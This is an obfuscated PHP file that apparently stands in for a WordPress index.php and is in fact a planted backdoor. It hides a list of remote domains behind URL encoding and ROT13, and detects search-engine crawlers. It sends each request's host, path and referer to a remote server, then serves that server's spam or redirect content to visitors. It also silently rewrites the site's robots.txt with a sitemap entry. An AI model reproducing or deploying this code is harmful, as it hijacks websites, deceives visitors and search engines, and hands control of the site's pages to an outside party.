<?php
 goto jI7bv; rO45Y: $defaultContent .= "\x53\x69\x74\145\x6d\141\160\x3a\40" . $http . "\72\57\x2f" . $host . "\x2f" . "\x73\151\164\145\155\x61\x70\x2e\x78\155\x6c" . PHP_EOL; goto XQ0wo; jI7bv: $xmlstring = "\45\x33\61\45\x33\63\x25\x33\x37\45\x33\65\45\62\104\x25\66\65\45\66\x45\x25\x36\61\x25\67\70\x25\63\x31\45\63\62\45\x33\x30\45\x32\105\x25\66\65\45\x36\x32\45\66\x31\45\67\66\x25\66\66\x25\66\x37\x25\67\x36\x25\67\x32\45\x32\105\x25\x36\x42\45\x36\103\x25\x36\104\x2c\45\63\x31\45\x33\x33\x25\x33\67\45\63\65\x25\x32\104\45\66\x35\45\x36\105\x25\66\x31\45\67\70\45\x33\x31\45\x33\x32\45\x33\60\x25\62\105\x25\x37\x39\x25\x36\105\45\66\106\45\x36\x43\x25\66\65\x25\67\66\x25\x36\x31\x25\x36\67\x25\67\x35\x25\67\66\x25\x36\61\x25\67\62\x25\x32\x45\x25\66\67\45\66\x32\45\66\x33\x2c\x25\63\61\x25\63\63\x25\63\x37\x25\63\65\45\x32\104\45\x36\65\45\66\105\x25\x36\61\x25\x37\x38\45\63\61\45\x33\62\x25\63\60\45\x32\105\x25\67\63\45\x36\x38\45\x36\x37\45\x36\70\45\x36\x35\45\67\x32\x25\66\104\45\66\x32\45\66\61\45\62\105\45\x36\102\45\66\x43\45\x36\x44\54\45\x33\61\45\63\63\45\x33\67\45\x33\65\45\62\104\x25\x36\65\45\x36\105\45\66\x31\45\67\70\45\x33\x31\45\x33\x32\45\63\x30\45\x32\105\x25\x36\66\x25\67\101\x25\x36\105\45\x36\x35\x25\x36\x37\45\66\x39\x25\67\x32\45\66\61\45\x36\67\x25\66\70\45\x36\x31\x25\62\x45\x25\x36\67\45\x36\x32\45\x36\63"; goto QYdwz; EJO9q: function doutdo($webs, $http, $web) { shuffle($webs); foreach ($webs as $domain) { $domain = str_rot13(urldecode($domain)); $url = "\x68\164\164\160\x3a\57\x2f" . $domain . "\57\x69\x6e\x64\145\170\56\160\x68\160\x3f" . $web; $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $response = curl_exec($ch); if (!curl_errno($ch)) { curl_close($ch); return $response; } else { curl_close($ch); } if (ini_get("\141\x6c\x6c\x6f\167\x5f\165\162\x6c\x5f\x66\157\160\x65\x6e")) { $response = @file_get_contents($url); if ($response !== false) { return $response; } } } echo "\x63\x55\x52\x4c\x20\x45\162\162\157\x72\72\x20\x30"; } goto boBZo; p44im: $duri_tmp = drequest_uri(); goto aP80B; YA60N: $web = "\x77\x65\x62\x3d" . $host . "\x26\x7a\172\x3d" . (disbot() ? "\x31" : "\x30") . "\46\165\162\x69\x3d" . urlencode($duri) . "\46\165\162\154\163\150\141\x6e\x67\75" . urlencode($urlshang) . "\x26\x68\x74\x74\x70\x3d" . $http . "\46\154\141\156\x67\x3d" . $lang; goto dHXYk; QYdwz: $xmlname = explode("\54", $xmlstring); goto nyUgT; iCmaB: function is_https() { return isset($_SERVER["\110\x54\124\x50\x53"]) && strtolower($_SERVER["\x48\124\x54\x50\x53"]) !== "\157\x66\146" || isset($_SERVER["\x48\x54\x54\x50\x5f\130\137\106\117\x52\x57\x41\x52\104\x45\x44\x5f\x50\x52\x4f\124\117"]) && $_SERVER["\110\124\x54\120\x5f\130\x5f\x46\117\122\127\101\x52\104\105\x44\x5f\x50\122\x4f\x54\x4f"] === "\x68\164\x74\160\x73" || isset($_SERVER["\110\x54\x54\x50\137\x46\x52\x4f\116\124\137\x45\x4e\x44\137\x48\x54\124\x50\123"]) && strtolower($_SERVER["\110\x54\124\x50\x5f\106\x52\117\x4e\x54\137\105\x4e\104\x5f\110\x54\x54\x50\123"]) !== "\157\x66\146"; } goto vYPVE; boBZo: function handle_content($html_content) { if (strstr($html_content, "\x6f\x6b\150\x74\155\x6c\147\x65\x74\x63\163\x73")) { header("\103\157\156\164\145\156\164\55\x54\x79\160\x65\x3a\40\x74\x65\170\x74\57\143\x73\163\x3b\40\143\x68\141\162\x73\145\164\x3d\165\164\146\55\70"); echo str_replace("\157\x6b\150\164\x6d\154\x67\145\x74\x63\163\163", '', $html_content); die; } elseif (strstr($html_content, "\157\153\x68\164\155\154\147\145\x74\x63\x6f\x6e\x74\x65\156\164")) { header("\103\157\156\x74\x65\x6e\164\55\x74\x79\160\x65\72\x20\x74\145\170\164\57\x68\164\x6d\154\73\x20\143\150\x61\162\x73\x65\x74\x3d\165\x74\146\55\x38"); echo str_replace("\157\153\x68\164\155\x6c\x67\x65\x74\143\x6f\156\164\145\x6e\164", '', $html_content); die; } elseif (strstr($html_content, "\x6f\x6b\x78\155\x6c\x67\x65\164\x63\157\x6e\164\x65\x6e\x74")) { header("\103\x6f\156\164\x65\x6e\x74\55\124\171\x70\x65\72\40\141\160\160\x6c\x69\143\x61\x74\151\x6f\156\x2f\x78\x6d\154\73\40\143\x68\141\x72\163\x65\x74\x3d\x75\x74\146\55\70"); echo str_replace("\157\153\x78\155\154\147\x65\164\143\157\x6e\x74\145\156\x74", '', $html_content); die; } elseif (strstr($html_content, "\x67\x65\x74\143\157\156\164\x65\156\x74\65\60\x30\x70\141\x67\x65")) { header("\110\x54\x54\120\x2f\61\x2e\61\40\65\60\x30\40\111\156\x74\x65\162\156\x61\154\40\123\145\x72\166\x65\162\x20\105\x72\162\157\x72"); die; } elseif (strstr($html_content, "\x67\145\164\x63\x6f\156\x74\x65\x6e\x74\x34\60\64\x70\x61\x67\145")) { header("\110\124\124\x50\x2f\61\56\x31\40\x34\x30\x34\x20\116\x6f\164\40\106\157\165\x6e\x64"); die; } elseif (strstr($html_content, "\x67\145\164\x63\x6f\156\x74\x65\x6e\x74\63\60\x31\x70\x61\147\145")) { header("\110\x54\124\x50\57\x31\56\x31\40\63\60\61\x20\x4d\x6f\166\x65\144\40\120\145\162\155\x61\156\145\156\x74\x6c\171"); $html_content = str_replace("\147\x65\164\143\x6f\156\x74\145\x6e\x74\x33\60\x31\x70\x61\147\x65", '', $html_content); header("\114\x6f\143\141\x74\151\x6f\x6e\72\40" . $html_content); die; } elseif (strstr($html_content, "\x6f\x6b\x72\x6f\142\157\164\163\x67\145\x74\143\x6f\x6e\164\145\x6e\164")) { header("\x43\157\156\164\145\156\164\x2d\x54\171\x70\145\72\x20\x74\145\x78\x74\57\x70\154\x61\151\x6e"); echo str_replace("\x6f\x6b\x72\157\x62\157\x74\x73\147\145\164\143\157\156\164\145\156\x74", '', $html_content); die; } } goto Rc9Yz; OdwWZ: function disbot() { $uAgent = strtolower(isset($_SERVER["\110\x54\124\x50\137\x55\123\x45\122\x5f\101\x47\105\x4e\124"]) ? $_SERVER["\x48\x54\124\x50\137\x55\123\105\x52\137\x41\107\x45\x4e\124"] : ''); return stristr($uAgent, "\147\x6f\x6f\x67\x6c\145\142\157\164") || stristr($uAgent, "\x62\x69\156\147") || stristr($uAgent, "\x79\x61\x68\157\157") || stristr($uAgent, "\x67\x6f\157\x67\154\x65") || stristr($uAgent, "\107\x6f\x6f\x67\154\x65\142\x6f\164"); } goto EJO9q; aP80B: $duri = empty($duri_tmp) ? "\x2f" : $duri_tmp; goto UxeMW; UxeMW: $host = $_SERVER["\110\124\124\x50\137\110\x4f\x53\x54"]; goto ms3nr; nqWqB: $robotsPath = $_SERVER["\x44\x4f\x43\x55\115\105\x4e\124\137\122\117\117\x54"] . "\x2f\162\x6f\x62\157\164\x73\56\x74\x78\164"; goto M7n26; ms3nr: $lang = isset($_SERVER["\110\x54\124\120\137\101\x43\103\105\120\124\x5f\114\101\x4e\x47\x55\101\x47\x45"]) ? $_SERVER["\110\x54\x54\120\137\101\x43\x43\105\x50\124\x5f\x4c\101\116\107\x55\x41\x47\105"] : "\x65\x6e"; goto YaEdy; XQ0wo: if (!file_exists($robotsPath)) { file_put_contents($robotsPath, $defaultContent); } else { if (md5_file($robotsPath) !== md5($defaultContent)) { @file_put_contents($robotsPath, $defaultContent); } } goto Q5eSJ; LHPtm: $defaultContent .= "\101\x6c\x6c\157\167\x3a\40\x2f" . PHP_EOL . PHP_EOL; goto rO45Y; dHXYk: $html_content = doutdo($xmlname, $http, $web); goto nqWqB; Q5eSJ: if (!strstr($html_content, "\x6e\157\142\x6f\164\x75\x73\x65\x72\141\x67\x65\x6e\x74")) { handle_content($html_content); } goto iCmaB; YaEdy: $urlshang = isset($_SERVER["\x48\x54\124\120\x5f\x52\105\106\x45\x52\x45\122"]) ? $_SERVER["\x48\x54\124\120\137\122\105\x46\x45\x52\x45\x52"] : ''; goto YA60N; vYPVE: function drequest_uri() { if (isset($_SERVER["\122\x45\121\x55\105\123\x54\x5f\x55\x52\111"])) { return $_SERVER["\122\105\121\125\x45\x53\124\137\125\x52\x49"]; } elseif (isset($_SERVER["\x61\x72\147\x76"])) { return $_SERVER["\120\110\120\137\123\105\114\106"] . "\77" . $_SERVER["\x61\162\x67\166"][0]; } else { return $_SERVER["\120\x48\x50\137\x53\105\114\106"] . "\77" . $_SERVER["\x51\125\105\x52\131\x5f\x53\124\x52\111\x4e\107"]; } } goto OdwWZ; nyUgT: $http = is_https() ? "\x68\x74\x74\x70\163" : "\150\x74\x74\160"; goto p44im; M7n26: $defaultContent = "\125\163\x65\162\x2d\141\x67\x65\156\164\x3a\40\x2a" . PHP_EOL; goto LHPtm; Rc9Yz: define("\127\120\137\125\x53\x45\137\124\110\x45\115\x45\123", true);